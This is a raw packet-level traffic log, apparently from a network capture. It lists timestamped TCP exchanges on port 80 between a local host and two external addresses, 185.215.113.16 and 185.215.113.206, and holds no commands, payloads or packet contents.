Dec 27, 2024 09:02:48.103113890 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.103168964 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.103801966 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.103915930 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.103960991 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.104650021 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.104811907 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.104891062 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.105518103 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.105654001 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.105705023 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.106408119 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.106534958 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.106579065 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.107323885 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.107410908 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.107647896 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.108149052 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.108242035 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.108289957 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.109026909 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.109169960 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.109401941 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.109888077 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.109987974 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.110028982 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.110836029 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.110888004 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.110935926 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.111681938 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.111723900 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.111804962 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.112543106 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.112659931 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.112700939 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.113380909 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.113497972 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.113547087 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.114274979 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.114377975 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.114425898 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.115104914 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.115217924 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.115326881 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.115999937 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.116082907 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.116126060 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.116854906 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.116914988 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.116961002 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.117722034 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.117846012 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.117888927 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.118614912 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.118684053 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.118738890 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.119467020 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.119612932 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.119653940 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.120407104 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.120419979 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.120462894 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.121202946 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.121377945 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.121444941 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.122095108 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.122193098 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.122232914 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.122982979 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.123003006 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.123096943 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.123836994 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.123884916 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.124209881 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.124691963 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.124747992 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.124793053 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.125603914 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.125642061 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.125744104 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.126447916 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.126513004 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.126549959 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.127285957 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.127409935 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.128165960 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.128182888 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.168313026 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.188086033 CET	49793	80	192.168.2.11	185.215.113.206
Dec 27, 2024 09:02:48.197433949 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.197470903 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.197619915 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.197796106 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.197923899 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.197967052 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.198466063 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.198589087 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.198636055 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.199409008 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.199439049 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.199742079 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.200181007 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.200304031 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.200352907 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.201081038 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.201172113 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.201214075 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.201966047 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.202090025 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.202156067 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.202790976 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.202915907 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.202960014 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.203675032 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.203805923 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.203845978 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.204535007 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.204653978 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.204709053 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.205423117 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.205517054 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.205566883 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.206280947 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.206384897 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.206466913 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.207151890 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.207277060 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.207324028 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.208024025 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.210381031 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.210427999 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.210489988 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.210834026 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.210885048 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.210992098 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.211633921 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.211760998 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.211802959 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.212532043 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.212593079 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.212672949 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.213442087 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.213515043 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.213568926 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.214323997 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.214345932 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.214389086 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.215132952 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.215213060 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.215261936 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.262084007 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.301141024 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.301201105 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.301242113 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.301553011 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.301811934 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.301898003 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.301922083 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.302618980 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.302663088 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.302745104 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.303481102 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.303525925 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.303590059 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.304356098 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.304415941 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.304447889 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.305239916 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.305272102 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.305295944 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.306106091 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.306179047 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.306230068 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.306988955 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.307039022 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.307075024 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.307549000 CET	80	49793	185.215.113.206	192.168.2.11
Dec 27, 2024 09:02:48.307624102 CET	49793	80	192.168.2.11	185.215.113.206
Dec 27, 2024 09:02:48.307837963 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.307857037 CET	49793	80	192.168.2.11	185.215.113.206
Dec 27, 2024 09:02:48.307895899 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.307924986 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.308710098 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.308748960 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.308784008 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.309585094 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.309627056 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.309715986 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.310445070 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.310487986 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.310540915 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.311306000 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.311400890 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.311443090 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.312221050 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.312298059 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.312385082 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.313090086 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.313122988 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.313138008 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.313941956 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.314013004 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.314021111 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.314826965 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.314887047 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.314924955 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.315685987 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.315743923 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.315778971 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.316593885 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.316644907 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.316684008 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.317467928 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.317559004 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.317574978 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.318270922 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.318366051 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.318403959 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.319207907 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.319257975 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.319292068 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.320031881 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.320095062 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.320125103 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.320899010 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.321041107 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.321091890 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.321753979 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.321820974 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.321868896 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.322674990 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.322726965 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.322779894 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.323533058 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.323612928 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.323714018 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.324378967 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.324426889 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.324522972 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.325258017 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.325306892 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.325345993 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.326170921 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.326220036 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.326246977 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.326473951 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.326994896 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.327042103 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.327088118 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.327914953 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.327960014 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.328007936 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.328737020 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.328780890 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.328823090 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.343543053 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.399142027 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.399209023 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.399250031 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.399421930 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.399532080 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.399611950 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.400331974 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.400428057 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.400468111 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.401139021 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.401262999 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.401313066 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.402020931 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.402129889 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.402173042 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.402934074 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.403093100 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.403489113 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.403805017 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.403897047 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.403940916 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.404697895 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.404827118 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.404932976 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.405540943 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.405658960 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.406424046 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.406467915 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.406511068 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.406939983 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.407320976 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.407422066 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.407463074 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.408150911 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.408276081 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.408420086 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.409001112 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.409135103 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.409188032 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.409831047 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.411529064 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.411569118 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.411689997 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.412002087 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.412050009 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.412100077 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.412645102 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.412746906 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.412794113 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.413516045 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.413558960 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.413625956 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.414397955 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.414429903 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.414556026 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.415288925 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.415334940 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.415357113 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.416130066 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.416172028 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.416215897 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.428839922 CET	80	49793	185.215.113.206	192.168.2.11
Dec 27, 2024 09:02:48.465183973 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.502774000 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.502914906 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.502959013 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.503194094 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.503324986 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.503365040 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.503968954 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.504112959 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.504152060 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.504910946 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.504987001 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.505050898 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.505734921 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.505829096 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.505866051 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.506603003 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.506731033 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.506812096 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:48.507566929 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.507642031 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:48.507684946 CET	49768	80	192.168.2.11	185.215.113.16
